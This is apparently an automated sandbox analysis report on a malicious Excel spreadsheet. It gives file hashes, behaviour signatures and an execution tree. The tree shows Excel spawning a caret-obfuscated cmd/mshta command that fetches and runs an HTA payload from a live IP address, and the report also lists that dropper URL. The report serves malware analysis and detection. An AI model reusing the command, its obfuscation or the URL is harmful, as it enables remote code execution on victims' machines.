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Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11/11/2024, 21:15

General

  • Target

    fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls

  • Size

    114KB

  • MD5

    e6ec6de5a4a7782d12856e095fef6552

  • SHA1

    0c8559da122fe6c1cb38f6f199b5bc85c0694455

  • SHA256

    fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db

  • SHA512

    c3061750de5e0723e16ccfb3c1a0db8f0a59d4d95ab576dd93ad2af0ea5bea61500ced581229d9dcc6a139c1b770fe7bf3184af7b9676014a920ab54cd5054da

  • SSDEEP

    3072:AH+Hyms/k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIixe53lGvFTQ3IzxgdrvxpU0f:e+Hyms/k3hbdlylKsgqopeJBWhZFVE+i

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/sec/se4.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2264
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.html
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0x5cff39c3/sec/se4.html
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2684

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2264-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2264-1-0x000000007275D000-0x0000000072768000-memory.dmp

    Filesize

    44KB

  • memory/2264-2-0x000000007275D000-0x0000000072768000-memory.dmp

    Filesize

    44KB